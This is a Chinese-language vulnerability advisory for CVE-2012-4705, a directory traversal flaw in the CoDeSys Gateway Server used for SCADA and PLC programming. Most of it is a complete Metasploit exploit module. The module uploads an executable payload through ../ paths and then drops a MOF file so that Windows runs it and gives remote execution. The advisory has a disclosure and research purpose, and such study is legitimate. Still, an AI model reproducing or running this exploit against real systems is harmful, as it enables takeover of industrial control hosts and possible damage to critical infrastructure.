发布日期：2013-02-19
更新日期：2013-04-26
受影响系统：
3S CoDeSys Gateway Server <= 2.3.9.27
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 59446
CVE(CAN) ID: CVE-2012-4705
CoDeSys是Windows平台下，独立于硬件的IEC 61131-3开发系统，用于编程和创建控制器应用。
CoDeSys 2.3.9.27之前版本存在目录遍历漏洞，通过此漏洞可创建任意文件，这些文件可用于执行mof文件，以获取SCADA系统的远程执行权限。
<*来源：Aaron Portnoy （aportnoy@ccs.neu.edu）
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::WbemExec
def initialize(info = {})
super(update_info(info,
'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability that allows arbitrary
file creation, which can be used to execute a mof file in order to gain remote
execution within the SCADA system.
},
'Author' =>
[
'Enrique Sanchez <esanchez[at]accuvant.com>'
],
'License' => 'MSF_LICENSE',
'References' =>
[
['CVE', '2012-4705'],
['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']
],
'DisclosureDate' => 'Feb 02 2013',
'Platform' => 'win',
'Targets' =>
[
['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
],
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(1211),
], self.class)
end
##
# upload_file(remote_filepath, remote_filename, local_filedata)
#
# remote_filepath: Remote filepath where the file will be uploaded
# remote_filename: Remote name of the file to be executed ie. boot.ini
# local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
def upload_file(remote_filepath, remote_filename, local_filedata = null)
magic_code = "\xdd\xdd"
opcode = [6].pack('L')
# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
#print_debug("File to upload: #{file}")
pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
#print_debug(pkt_size)
# Magic_code + packing + size
pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')
tmp_pkt = opcode << file
tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
pkt << tmp_pkt
print_status("Starting upload of file #{remote_filename}")
connect
sock.put(pkt)
disconnect
print_status("File uploaded")
end
def exploit
print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")
# We create an exe payload, we have to get remote execution in 2 steps
exe = generate_payload_exe
exe_name = Rex::Text::rand_text_alpha(8) + ".exe"
upload_file("windows\\system32\\", exe_name, exe)
# We create the mof file and upload (second step)
mof_name = Rex::Text::rand_text_alpha(8) + ".mof"
mof = generate_mof(mof_name, exe_name)
upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)
print_status("Everything is ready, waiting for a session ... ")
handler
#Taken from the spooler exploit writen byt jduck and HDMoore
cnt = 1
while session_created? == false and cnt < 25
::IO.select(nil, nil, nil, 0.25)
cnt += 1
end
end
end